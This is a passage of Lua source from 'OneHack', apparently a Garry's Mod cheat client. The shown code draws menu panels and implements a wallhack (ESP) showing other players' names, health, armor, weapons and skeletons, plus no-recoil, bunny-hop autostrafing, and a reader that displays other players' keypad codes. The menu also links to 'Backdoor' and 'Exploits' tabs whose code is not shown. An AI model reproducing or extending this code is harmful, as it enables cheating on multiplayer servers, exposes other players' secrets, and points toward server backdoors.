1735 onehack.selectedpanel = logsmenuopt
1736 end
1737
1738 function esppanel()
1739 esppanel = vgui.Create( "DPanel" , framesag )
1740 esppanel:SetPos( 126, 9 )
1741 esppanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1742 function esppanel:Paint( w, h )
1743 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1744 end
1745
1746 local esbenable = vgui.Create("DCheckBox",esppanel)
1747 esbenable:SetPos(5,5)
1748 esbenable:SetValue(onehack.Vars['ESP'])
1749 esbenable:SetSize(100,17)
1750 function esbenable:Paint(w,h)
1751 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1752 if esbenable:GetChecked() then
1753 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1754 end
1755 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1756 draw.SimpleText("Enabled","DermaDefault",24,h/2,Color(255,255,255),0,1)
1757 onehack.Vars['ESP'] = esbenable:GetChecked()
1758 end
1759
1760 local shownames = vgui.Create("DCheckBox",esppanel)
1761 shownames:SetPos(5,27)
1762 shownames:SetValue(onehack.Vars['ESP_NAME'])
1763 shownames:SetSize(100,17)
1764 function shownames:Paint(w,h)
1765 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1766 if shownames:GetChecked() then
1767 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1768 end
1769 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1770 draw.SimpleText("Name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1771 onehack.Vars['ESP_NAME'] = shownames:GetChecked()
1772 end
1773
1774 local showgroup = vgui.Create("DCheckBox",esppanel)
1775 showgroup:SetPos(5,49)
1776 showgroup:SetValue(onehack.Vars['ESP_GROUP'])
1777 showgroup:SetSize(100,17)
1778 function showgroup:Paint(w,h)
1779 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1780 if showgroup:GetChecked() then
1781 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1782 end
1783 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1784 draw.SimpleText("User group","DermaDefault",24,h/2,Color(255,255,255),0,1)
1785 onehack.Vars['ESP_GROUP'] = showgroup:GetChecked()
1786 end
1787
1788 local showteam = vgui.Create("DCheckBox",esppanel)
1789 showteam:SetPos(5,72)
1790 showteam:SetValue(onehack.Vars['ESP_TEAM'])
1791 showteam:SetSize(100,17)
1792 function showteam:Paint(w,h)
1793 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1794 if showteam:GetChecked() then
1795 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1796 end
1797 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1798 draw.SimpleText("Team name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1799 onehack.Vars['ESP_TEAM'] = showteam:GetChecked()
1800 end
1801
1802 local showhealthnumber = vgui.Create("DCheckBox",esppanel)
1803 showhealthnumber:SetPos(5,94)
1804 showhealthnumber:SetValue(onehack.Vars['ESP_HP'])
1805 showhealthnumber:SetSize(100,17)
1806 function showhealthnumber:Paint(w,h)
1807 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1808 if showhealthnumber:GetChecked() then
1809 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1810 end
1811 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1812 draw.SimpleText("Health number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1813 onehack.Vars['ESP_HP'] = showhealthnumber:GetChecked()
1814 end
1815
1816 local showhealtbox = vgui.Create("DCheckBox",esppanel)
1817 showhealtbox:SetPos(5,116)
1818 showhealtbox:SetValue(onehack.Vars['ESP_HPBOX'])
1819 showhealtbox:SetSize(100,17)
1820 function showhealtbox:Paint(w,h)
1821 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1822 if showhealtbox:GetChecked() then
1823 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1824 end
1825 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1826 draw.SimpleText("Health box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1827 onehack.Vars['ESP_HPBOX'] = showhealtbox:GetChecked()
1828 end
1829
1830 local showarmornumber = vgui.Create("DCheckBox",esppanel)
1831 showarmornumber:SetPos(5,137)
1832 showarmornumber:SetValue(onehack.Vars['ESP_ARMOR'])
1833 showarmornumber:SetSize(100,17)
1834 function showarmornumber:Paint(w,h)
1835 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1836 if showarmornumber:GetChecked() then
1837 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1838 end
1839 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1840 draw.SimpleText("Armor number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1841 onehack.Vars['ESP_ARMOR'] = showarmornumber:GetChecked()
1842 end
1843
1844 local showarmorbox = vgui.Create("DCheckBox",esppanel)
1845 showarmorbox:SetPos(5,159)
1846 showarmorbox:SetValue(onehack.Vars['ESP_ARMORBOX'])
1847 showarmorbox:SetSize(100,17)
1848 function showarmorbox:Paint(w,h)
1849 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1850 if showarmorbox:GetChecked() then
1851 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1852 end
1853 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1854 draw.SimpleText("Armor box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1855 onehack.Vars['ESP_ARMORBOX'] = showarmorbox:GetChecked()
1856 end
1857
1858 local showammonumber = vgui.Create("DCheckBox",esppanel)
1859 showammonumber:SetPos(5,181)
1860 showammonumber:SetValue(onehack.Vars['ESP_WEAPON'])
1861 showammonumber:SetSize(100,17)
1862 function showammonumber:Paint(w,h)
1863 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1864 if showammonumber:GetChecked() then
1865 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1866 end
1867 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1868 draw.SimpleText("Weapon name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1869 onehack.Vars['ESP_WEAPON'] = showammonumber:GetChecked()
1870 end
1871
1872 local showbox = vgui.Create("DCheckBox",esppanel)
1873 showbox:SetPos(5,202)
1874 showbox:SetValue(onehack.Vars['ESP_BOX'])
1875 showbox:SetSize(100,17)
1876 function showbox:Paint(w,h)
1877 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1878 if showbox:GetChecked() then
1879 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1880 end
1881 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1882 draw.SimpleText("Box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1883 onehack.Vars['ESP_BOX'] = showbox:GetChecked()
1884 end
1885
1886 local showskelet = vgui.Create("DCheckBox",esppanel)
1887 showskelet:SetPos(5,224)
1888 showskelet:SetValue(onehack.Vars['ESP_SKELET'])
1889 showskelet:SetSize(100,17)
1890 function showskelet:Paint(w,h)
1891 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1892 if showskelet:GetChecked() then
1893 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1894 end
1895 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1896 draw.SimpleText("Skeleton","DermaDefault",24,h/2,Color(255,255,255),0,1)
1897 onehack.Vars['ESP_SKELET'] = showskelet:GetChecked()
1898 end
1899
1900 local norecoil = vgui.Create("DCheckBox",esppanel)
1901 norecoil:SetPos(5,260)
1902 norecoil:SetValue(onehack.Vars['NoRecoil'])
1903 norecoil:SetSize(100,17)
1904 function norecoil:Paint(w,h)
1905 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1906 if norecoil:GetChecked() then
1907 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1908 end
1909 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1910 draw.SimpleText("No recoil","DermaDefault",24,h/2,Color(255,255,255),0,1)
1911 onehack.Vars['NoRecoil'] = norecoil:GetChecked()
1912 end
1913
1914 local Crosshair = vgui.Create("DCheckBox",esppanel)
1915 Crosshair:SetPos(5,282)
1916 Crosshair:SetValue(onehack.Vars['Crosshair'])
1917 Crosshair:SetSize(100,17)
1918 function Crosshair:Paint(w,h)
1919 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1920 if Crosshair:GetChecked() then
1921 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1922 end
1923 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1924 draw.SimpleText("Crosshair","DermaDefault",24,h/2,Color(255,255,255),0,1)
1925 onehack.Vars['Crosshair'] = Crosshair:GetChecked()
1926 end
1927
1928 local preview = vgui.Create("DPanel",esppanel)
1929 preview:SetPos(212,5)
1930 preview:SetSize(250,373)
1931 function preview:Paint(w,h)
1932 onehack.DrawRect(0,0,w,h,Color(255,255,255,10))
1933 onehack.DrawOutLinedRect(0,0,w,h,onehack.theme.backgroundalt2)
1934
1935 if onehack.Vars['ESP_NAME'] then
1936 draw.SimpleTextOutlined("Garry :D","default",w/2, 50,Color(255,255,255),1,1,1,Color(0,0,0))
1937 end
1938
1939 if onehack.Vars['ESP_WEAPON'] then
1940 draw.SimpleTextOutlined("Crowbar","default",w/2, h-50,Color(255,255,255),1,1,1,Color(0,0,0))
1941 end
1942
1943 if onehack.Vars['ESP_TEAM'] then
1944 draw.SimpleTextOutlined("Citizen","default",w-54, 65,Color(50,255,50),0,1,1,Color(0,0,0))
1945 end
1946
1947 if onehack.Vars['ESP_GROUP'] then
1948 draw.SimpleTextOutlined("Admin","default",w-54, 80,Color(255,255,255),0,1,1,Color(0,0,0))
1949 end
1950
1951 if onehack.Vars['ESP_HP'] then
1952 draw.SimpleTextOutlined("100%","default",58,56,Color(150,255,0),0,1,1,Color(0,0,0))
1953 end
1954
1955 if onehack.Vars['ESP_HPBOX'] then
1956 onehack.DrawOutLinedRect(53,60,6,h-120,Color(0,0,0))
1957 onehack.DrawRect(54,61,4,h-122,Color(150,255,0))
1958 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
1959 end
1960
1961 if onehack.Vars['ESP_ARMOR'] then
1962 draw.SimpleTextOutlined("100%","default",46,56,Color(19,136,191),2,1,1,Color(0,0,0))
1963 end
1964
1965 if onehack.Vars['ESP_ARMORBOX'] then
1966 onehack.DrawOutLinedRect(46,60,6,h-120,Color(0,0,0))
1967 onehack.DrawRect(47,61,4,h-122,Color(19,136,191))
1968 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
1969 end
1970
1971 if onehack.Vars['ESP_BOX'] then
1972 onehack.DrawOutLinedRect(60,60,w-120,h-120,Color(0,0,0))
1973 onehack.DrawOutLinedRect(61,61,w-122,h-122,Color(255,255,255))
1974 onehack.DrawOutLinedRect(62,62,w-124,h-124,Color(0,0,0))
1975 end
1976 end
1977
1978 if onehack.selectedpanel != nil then
1979 onehack.selectedpanel:Remove()
1980 end
1981 onehack.selectedpanel_id = 5
1982 onehack.selectedpanel = esppanel
1983 end
1984
1985 function aimpanel()
1986 aimpanel = vgui.Create( "DPanel" , framesag )
1987 aimpanel:SetPos( 126, 9 )
1988 aimpanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1989 function aimpanel:Paint( w, h )
1990 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1991 draw.SimpleText("Coming soon...","DermaDefault",w/2,h/2,Color(255,255,255,100),1,1)
1992 end
1993
1994 if onehack.selectedpanel != nil then
1995 onehack.selectedpanel:Remove()
1996 end
1997 onehack.selectedpanel_id = 5
1998 onehack.selectedpanel = aimpanel
1999 end
2000
2001 PanelAddButton("Aimbot",aimpanel,6)
2002 PanelAddButton("Visuals",esppanel,5)
2003 PanelAddButton("Backdoor",onehackdooropt,1)
2004 PanelAddButton("Exploits",exploitmenuopt,2)
2005 PanelAddButton("Options",optionsmenuopt,3)
2006 PanelAddButton("Logs",logsmenuopt,4)
2007 onehackdooropt()
2008end
2009function myfunc()
2010 if input.IsKeyDown( KEY_F11 ) then
2011 if not timer.Exists("FW.MenuIsPressed") then
2012 if IsValid(framesag) then
2013 framesag:Remove()
2014 else
2015 MainFunc()
2016 end
2017 timer.Create("FW.MenuIsPressed",0.3,1,function() end)
2018 end
2019 end
2020
2021 if input.IsKeyDown( KEY_F9 ) then
2022 if not timer.Exists("FW.MenuIsPressedF9") then
2023 onehack.Vars['FCAM'] = !onehack.Vars['FCAM']
2024 timer.Create("FW.MenuIsPressedF9",0.3,1,function() end)
2025 end
2026 end
2027end
2028onehack.DebugLog( "Onehack loaded successfully!", Color(100,255,100) )
2029onehack.DebugLog( "onehack version v2.44, build 13.05.2019", Color(255,255,255) )
2030hook.Add("Think","twsgsh",myfunc)
2031
2032
2033local me = LocalPlayer();
2034function onehack.CreateMove(cmd)
2035 local memfootprint = gcinfo()
2036 if(!onehack.Vars['BHOP']) then return; end
2037 if(!me:IsOnGround() && cmd:KeyDown(IN_JUMP)) then
2038 cmd:RemoveKey(IN_JUMP);
2039 if(onehack.Vars['AUTOSTRAFER']) then
2040 if(cmd:GetMouseX() > 1 || cmd:GetMouseX() < -1) then
2041 cmd:SetSideMove(cmd:GetMouseX() > 1 && 400 || -400);
2042 else
2043 cmd:SetForwardMove(5850 / me:GetVelocity():Length2D());
2044 cmd:SetSideMove((cmd:CommandNumber() % 2 == 0) && -400 || 400);
2045 end
2046 end
2047 elseif(cmd:KeyDown(IN_JUMP) && onehack.Vars['AUTOSTRAFER']) then
2048 cmd:SetForwardMove(10000);
2049 end
2050 onehack.memory["logic"] = gcinfo() - memfootprint
2051end
2052hook.Add("CreateMove", onehack.RandomString(10), function(cmd)
2053 onehack.CreateMove(cmd);
2054end);
2055
2056function onehack.CalcView( ply, pos, angles, fov )
2057 if !me:IsValid() or !me:Alive() or me:GetViewEntity() != me or me:InVehicle() then return end
2058 local tps = {}
2059 if onehack.Vars['NoRecoil'] then
2060 tps.angles = me:EyeAngles()
2061 return tps
2062 end
2063end
2064hook.Add("CalcView", onehack.RandomString(10), onehack.CalcView)
2065
2066
2067local function coordinates( ent )
2068local min, max = ent:OBBMins(), ent:OBBMaxs()
2069local corners = {
2070 Vector( min.x, min.y, min.z ),
2071 Vector( min.x, min.y, max.z ),
2072 Vector( min.x, max.y, min.z ),
2073 Vector( min.x, max.y, max.z ),
2074 Vector( max.x, min.y, min.z ),
2075 Vector( max.x, min.y, max.z ),
2076 Vector( max.x, max.y, min.z ),
2077 Vector( max.x, max.y, max.z )
2078}
2079
2080local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
2081for _, corner in pairs( corners ) do
2082 local onScreen = ent:LocalToWorld( corner ):ToScreen()
2083 minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
2084 maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
2085end
2086function drawfillbox( mag,value,left,top,right,bottom,r,g,b,a )
2087 local poly = {
2088 {x=left,y=top},
2089 {x=right,y=top},
2090 {x=right,y=bottom},
2091 {x=left,y=bottom}
2092 }
2093 surface.SetDrawColor( r,g,b,a )
2094 draw.NoTexture()
2095 surface.DrawPoly(poly)
2096 draw.SimpleTextOutlined(value,"default",left + (right - left) / 2,top,Color(r,g,b,a),mag,1,1,Color(0,0,0))
2097end
2098return minX, minY, maxX, maxY
2099end
2100hook.Add("OnEntityCreated",onehack.RandomString(17),function(ent)
2101 onehack.DebugLog( ent:GetClass().." spawned on ("..tostring(ent:GetPos())..")", Color(100,100,100) )
2102end)
2103hook.Add( "PostDrawOpaqueRenderables", onehack.RandomString(17), function()
2104 if onehack.Vars['WEAPON_LIST3D'] then
2105 for k,vv in pairs(player.GetAll()) do
2106 if vv:IsValid() and vv ~= LocalPlayer() and vv:GetPos():Distance(LocalPlayer():GetPos()) < 600 and onehack.Vars['FCAM'] and vv:Alive() or (vv:GetPos():Distance(LocalPlayer():GetPos()) < 255 and vv ~= LocalPlayer() and vv:Alive()) then
2107 local rot = (vv:GetPos() - EyePos()):Angle().yaw - 90
2108 local ang = Angle(0,rot,90)
2109 cam.Start3D2D( vv:EyePos()+2*ang:Up(), ang-Angle(0,30,0), 0.15 )
2110 local otstup = 0
2111 local toleft = 160
2112 local alpha = 255 - vv:GetPos():Distance(LocalPlayer():GetPos())
2113 surface.SetDrawColor( 255, 165, 0, alpha )
2114 surface.DrawRect( toleft, 0, 150, 1 )
2115 surface.SetDrawColor( 0, 0, 0, alpha )
2116 surface.SetMaterial(Material("gui/gradient_down"))
2117 surface.DrawTexturedRect( toleft, 1, 150, alpha/2 )
2118 for k,v in pairs(vv:GetWeapons()) do
2119 surface.SetDrawColor( 255, 255, 255, alpha/2 )
2120 surface.SetMaterial(Material("gui/gradient_down"))
2121 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2122 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2123 surface.SetDrawColor( 255, 165, 0, alpha/2 )
2124 surface.SetMaterial(Material("gui/gradient_up"))
2125 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2126 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2127 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2128 surface.SetMaterial(Material("gui/gradient_up"))
2129 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2130 end
2131 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2132 surface.SetDrawColor( 255, 165, 0, alpha )
2133 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2134 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2135 else
2136 surface.SetDrawColor( 255, 255, 255, alpha )
2137 end
2138 surface.DrawOutlinedRect( 4+toleft, 4+otstup, 92+50, 15 )
2139
2140 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft, 5+otstup,Color(0,0,0,alpha))
2141 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft+1, 5+otstup-1,Color(255,255,255,alpha))
2142 otstup = otstup + 19
2143 end
2144 cam.End3D2D()
2145 end
2146 end
2147 end
2148
2149 if onehack.Vars['keypad_jiw'] then
2150 for k, e in pairs(ents.FindInSphere( LocalPlayer():GetPos(), 100 )) do
2151 if IsValid(e) and string.find( e:GetClass(), "Keypad") then
2152 local text;
2153 local color;
2154 if(e.code && e.code != "") then
2155 text = e.code;
2156 color = Color( 105, 255, 105, 150 )
2157 elseif(e.tempCode && e.tempCode != "") then
2158 text = e.tempCode;
2159 color = Color( 250, 150, 150, 150 )
2160 else
2161 text = "Unkn"
2162 color = Color(150,150,150,150)
2163 end
2164 local rot = (e:GetPos() - EyePos()):Angle().yaw - 90
2165 local rot2 = -(e:GetPos() - EyePos()):Angle().pich +90
2166 local ang = Angle(0,rot,rot2)
2167 cam.Start3D2D( e:GetPos()+Vector(0,0,2), ang-Angle(0,30,0), 0.15 )
2168 local otstup = 0
2169 local toleft = 40
2170 local alpha = 255-(e:GetPos():Distance(LocalPlayer():GetPos()))
2171 surface.SetDrawColor( color.r, color.g, color.b, alpha )
2172 surface.DrawRect( toleft, 0, 40, 1 )
2173 surface.SetDrawColor( 0, 0, 0, alpha )
2174 surface.SetMaterial(Material("gui/gradient_down"))
2175 surface.DrawTexturedRect( toleft, 1, 40, 30 )
2176 draw.SimpleText(text,"DermaDefault",8+toleft, 5+otstup,Color(255,255,255,alpha))
2177 cam.End3D2D()
2178 end
2179 end
2180 end
2181end )
2182hook.Add("HUDPaint", onehack.RandomString(17), function()
2183if onehack.Vars['WaterMark'] then
2184 surface.SetFont("DermaDefault")
2185 local tw,th = surface.GetTextSize("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name())
2186 tw = tw + 3
2187 onehack.DrawRect(5,5,10+tw,25,Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b,150))
2188 onehack.DrawRect(9,9,2+tw,17,Color(onehack.theme.chromaalt.r,onehack.theme.chromaalt.g,onehack.theme.chromaalt.b,150))
2189 onehack.DrawOutLinedRect(5,5,10+tw,25,Color(0,0,0,50))
2190 onehack.DrawOutLinedRect(9,9,2+tw,17,Color(0,0,0,50))
2191 draw.SimpleText("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name(),"DermaDefault",12,10,Color(255,255,255))
2192end
2193local memfootprintss = gcinfo()
2194if not onehack.Vars['ESP'] then return end
2195if onehack.Vars['Crosshair'] then
2196 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)+5,(ScrH()/2)+5,Color(255,255,255,100))
2197 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)-5,(ScrH()/2)+5,Color(255,255,255,100))
2198end
2199for k,v in pairs(player.GetAll()) do
2200 local left,top,right,bottom = coordinates(v)
2201 local dist = v:GetPos():Distance(LocalPlayer():GetPos())
2202 if v ~= LocalPlayer() then
2203 if dist > 20 then
2204 if v:Alive() then
2205 if left ~= 0 and right ~= 0 and top ~= 0 and bottom ~= 0 then
2206 if onehack.Vars['ESP_BOX'] then
2207 surface.SetDrawColor(Color(255,255,255))
2208 surface.DrawLine( left, top, right, top )
2209 surface.DrawLine( left, top, left, bottom )
2210 surface.DrawLine( right, top, right, bottom )
2211 surface.DrawLine( left, bottom, right, bottom )
2212
2213 surface.SetDrawColor(Color(0,0,0))
2214 surface.DrawLine( left-1, top-1, right+1, top-1 )
2215 surface.DrawLine( left-1, top-1, left-1, bottom+1 )
2216 surface.DrawLine( right+1, top-1, right+1, bottom+1 )
2217 surface.DrawLine( left-1, bottom+1, right+1, bottom+1 )
2218
2219 surface.SetDrawColor(Color(0,0,0))
2220 surface.DrawLine( left+1, top+1, right-1, top+1 )
2221 surface.DrawLine( left+1, top+1, left+1, bottom-1 )
2222 surface.DrawLine( right-1, top+1, right-1, bottom-1 )
2223 surface.DrawLine( left+1, bottom-1, right-1, bottom-1 )
2224 end
2225
2226 local hpdraw = {
2227 {x=left-4,y=top},
2228 {x=left-2,y=top},
2229 {x=left-2,y=bottom},
2230 {x=left-4,y=bottom}
2231 }
2232 if onehack.Vars['ESP_NAME'] then
2233 draw.SimpleTextOutlined(v:GetName(),"default",left + (right - left) / 2, top - 10,Color(255,255,255),1,1,1,Color(0,0,0))
2234 end
2235
2236 if IsValid(v:GetActiveWeapon()) and onehack.Vars['ESP_WEAPON'] then
2237 draw.SimpleTextOutlined(v:GetActiveWeapon():GetPrintName() or v:GetActiveWeapon():GetClass(),"default",left + (right - left) / 2, bottom + 10,Color(255,255,255),1,1,1,Color(0,0,0))
2238 end
2239 w, h = ScrW(), ScrH()
2240 w = w/2
2241 local hp = math.min(v:Health(), 100)
2242 local height = bottom - top - 1
2243 local healthbar_height = (hp / 100) * height
2244 local healthbar_height2 = (100 / 100) * height
2245 local width = (w * (hp / 100.0))
2246 local red = 255 - (hp*2.55)
2247 local green = hp * 2.55
2248 if onehack.Vars['ESP_HP'] then numb = v:Health().."%" else numb = "" end
2249 if onehack.Vars['ESP_HPBOX'] then
2250 drawfillbox( 0,"", left - 8, bottom - healthbar_height2 - 2,left - 2, bottom,0,0,0,255 )
2251 drawfillbox( 0,"", left - 7, bottom - healthbar_height2 - 1,left - 3, bottom-1,0,200,0,40 )
2252 drawfillbox( 0,numb, left - 7, bottom - healthbar_height - 1,left - 3, bottom-1,red,green,0,255 )
2253 end
2254 local ar = math.min(v:Armor(), 100)
2255 local armorbar_height = (ar / 100) * height
2256 local numb
2257 if onehack.Vars['ESP_ARMOR'] then numb = v:Armor().."%" else numb = "" end
2258 if onehack.Vars['ESP_ARMORBOX'] then
2259 drawfillbox( 0,"", left - 15, bottom - healthbar_height2 - 2,left - 10, bottom,0,0,0,255 )
2260 drawfillbox( 0,"", left - 14, bottom - healthbar_height2 - 1,left - 11, bottom-1,0,200,0,40 )
2261 drawfillbox( 2,numb, left - 14, bottom - armorbar_height - 1,left - 11, bottom-1,19,136,191,255 )
2262 end
2263 local plys = v
2264 local Bones = {}
2265 local sBones = {
2266 "ValveBiped.Bip01_Head1",
2267 "ValveBiped.Bip01_Neck1",
2268 "ValveBiped.Bip01_Spine4",
2269 "ValveBiped.Bip01_Spine2",
2270 "ValveBiped.Bip01_Spine1",
2271 "ValveBiped.Bip01_Spine",
2272 "ValveBiped.Bip01_Pelvis",
2273 "ValveBiped.Bip01_R_UpperArm",
2274 "ValveBiped.Bip01_R_Forearm",
2275 "ValveBiped.Bip01_R_Hand",
2276 "ValveBiped.Bip01_L_UpperArm",
2277 "ValveBiped.Bip01_L_Forearm",
2278 "ValveBiped.Bip01_L_Hand",
2279 "ValveBiped.Bip01_R_Thigh",
2280 "ValveBiped.Bip01_R_Calf",
2281 "ValveBiped.Bip01_R_Foot",
2282 "ValveBiped.Bip01_R_Toe0",
2283 "ValveBiped.Bip01_L_Thigh",
2284 "ValveBiped.Bip01_L_Calf",
2285 "ValveBiped.Bip01_L_Foot",
2286 "ValveBiped.Bip01_L_Toe0"
2287 }
2288 local Success = true
2289 for k, v in pairs(sBones) do
2290 if plys:LookupBone(v) != nil && plys:GetBonePosition(plys:LookupBone(v)) != nil then
2291 table.insert( Bones, plys:GetBonePosition(plys:LookupBone(v)):ToScreen() )
2292 else
2293 Success = false
2294 end
2295 end
2296 surface.SetDrawColor(Color(255,255,255))
2297 if Success and onehack.Vars['ESP_SKELET'] then
2298 surface.DrawLine( Bones[1].x, Bones[1].y, Bones[2].x, Bones[2].y )
2299 surface.DrawLine( Bones[2].x, Bones[2].y, Bones[3].x, Bones[3].y )
2300 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[4].x, Bones[4].y )
2301 surface.DrawLine( Bones[4].x, Bones[4].y, Bones[5].x, Bones[5].y )
2302 surface.DrawLine( Bones[5].x, Bones[5].y, Bones[6].x, Bones[6].y )
2303 surface.DrawLine( Bones[6].x, Bones[6].y, Bones[7].x, Bones[7].y )
2304
2305 //Legs
2306 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[14].x, Bones[14].y )
2307 surface.DrawLine( Bones[14].x, Bones[14].y, Bones[15].x, Bones[15].y )
2308 surface.DrawLine( Bones[15].x, Bones[15].y, Bones[16].x, Bones[16].y )
2309 surface.DrawLine( Bones[16].x, Bones[16].y, Bones[17].x, Bones[17].y )
2310
2311 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[18].x, Bones[18].y )
2312 surface.DrawLine( Bones[18].x, Bones[18].y, Bones[19].x, Bones[19].y )
2313 surface.DrawLine( Bones[19].x, Bones[19].y, Bones[20].x, Bones[20].y )
2314 surface.DrawLine( Bones[20].x, Bones[20].y, Bones[21].x, Bones[21].y )
2315
2316 //Arms
2317 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[8].x, Bones[8].y )
2318 surface.DrawLine( Bones[8].x, Bones[8].y, Bones[9].x, Bones[9].y )
2319 surface.DrawLine( Bones[9].x, Bones[9].y, Bones[10].x, Bones[10].y )
2320
2321 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[11].x, Bones[11].y )
2322 surface.DrawLine( Bones[11].x, Bones[11].y, Bones[12].x, Bones[12].y )
2323 surface.DrawLine( Bones[12].x, Bones[12].y, Bones[13].x, Bones[13].y )
2324
2325 end
2326 if onehack.Vars['ESP_TEAM'] then
2327 draw.SimpleTextOutlined(team.GetName(v:Team()),"default",right+3, top,team.GetColor(v:Team()),0,0,1,Color(0,0,0))
2328 end
2329 if onehack.Vars['ESP_GROUP'] then
2330 draw.SimpleTextOutlined(v:GetUserGroup(),"default",right+3, top+11,Color(255,255,255),0,0,1,Color(0,0,0))
2331 end
2332 end
2333 end
2334end
2335end
2336end
2337
2338onehack.memory["hud"] = gcinfo() - memfootprintss
2339end)
2340local elements = {
2341 { -- Screen
2342 x = 0.075,
2343 y = 0.04,
2344 w = 0.85,
2345 h = 0.25,
2346
2347 },
2348 { -- ABORT
2349 x = 0.075,
2350 y = 0.04 + 0.25 + 0.03,
2351 w = 0.85 / 2 - 0.04 / 2 + 0.05,
2352 h = 0.125,
2353 text = "ABORT",
2354 },
2355 { -- OK
2356 x = 0.5 + 0.04 / 2 + 0.05,
2357 y = 0.04 + 0.25 + 0.03,
2358 w = 0.85 / 2 - 0.04 / 2 - 0.05,
2359 h = 0.125,
2360 text = "OK",
2361 }
2362}
2363
2364do -- Create numbers
2365 for i = 1, 9 do
2366 local column = (i - 1) % 3
2367
2368 local row = math.floor((i - 1) / 3)
2369
2370 local element = {
2371 x = 0.075 + (0.3 * column),
2372 y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row),
2373 w = 0.25,
2374 h = 0.13,
2375 text = tostring(i),
2376 }
2377 table.insert(elements, element)
2378 end
2379end
2380
2381
2382function onehack.CalculateKeypadCursorPos(ply, ent)
